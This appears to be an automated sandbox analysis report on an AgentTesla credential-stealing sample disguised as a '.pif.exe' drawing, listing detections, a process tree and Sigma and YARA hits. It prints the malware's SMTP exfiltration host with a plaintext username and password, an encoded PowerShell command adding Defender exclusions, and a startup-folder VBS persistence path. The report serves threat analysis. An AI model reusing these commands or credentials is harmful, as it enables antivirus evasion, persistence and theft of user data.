Edit tour

Windows Analysis Report
58955, ZN25888A #U2013 drawing.pif.exe

Overview

General Information

Sample name:	58955, ZN25888A #U2013 drawing.pif.exe renamed because original name is a hash value
Original sample name:	58955, ZN25888A drawing.pif.exe
Analysis ID:	1591789
MD5:	ba27bfa68b1196840be542cf4dc7178b
SHA1:	7e25b41d515894bfb8f0707e2f22fb33451301ca
SHA256:	bff8313cf041d37f04d9bdc05dcfebd6bd46682dee3052f756e6489f856a34a1
Tags:	exeuser-TeamDreier
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AgentTesla

Yara detected AntiVM3

AI detected suspicious sample

Drops VBS files to the startup folder

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

58955, ZN25888A #U2013 drawing.pif.exe (PID: 7604 cmdline: "C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe" MD5: BA27BFA68B1196840BE542CF4DC7178B)

cmd.exe (PID: 7760 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7812 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

powershell.exe (PID: 7956 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7352 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

InstallUtil.exe (PID: 368 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 1244 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 6180 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

wscript.exe (PID: 336 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

page.exe (PID: 3716 cmdline: "C:\Users\user\AppData\Roaming\page.exe" MD5: BA27BFA68B1196840BE542CF4DC7178B)

cmd.exe (PID: 3348 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 2016 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 1816 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 3236 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 3124 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1686131808.00000000063A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 58955, ZN25888A #U2013 drawing.pif.exe PID: 7604	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 58955, ZN25888A #U2013 drawing.pif.exe PID: 7604	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 368	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: page.exe PID: 3716	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: page.exe PID: 3716	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 1816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 1816	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.58955, ZN25888A #U2013 drawing.pif.exe.63a0000.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.58955, ZN25888A #U2013 drawing.pif.exe.63a0000.9.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe", ParentImage: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe, ParentProcessId: 7604, ParentProcessName: 58955, ZN25888A #U2013 drawing.pif.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe", ParentImage: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe, ParentProcessId: 7604, ParentProcessName: 58955, ZN25888A #U2013 drawing.pif.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACA

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , ProcessId: 336, ProcessName: wscript.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe", ParentImage: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe, ParentProcessId: 7604, ParentProcessName: 58955, ZN25888A #U2013 drawing.pif.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACA

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DesusertionIp: 46.175.148.58, DesusertionIsIpv6: false, DesusertionPort: 25, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 368, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49889

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , ProcessId: 336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe", ParentImage: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe, ParentProcessId: 7604, ParentProcessName: 58955, ZN25888A #U2013 drawing.pif.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACA

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

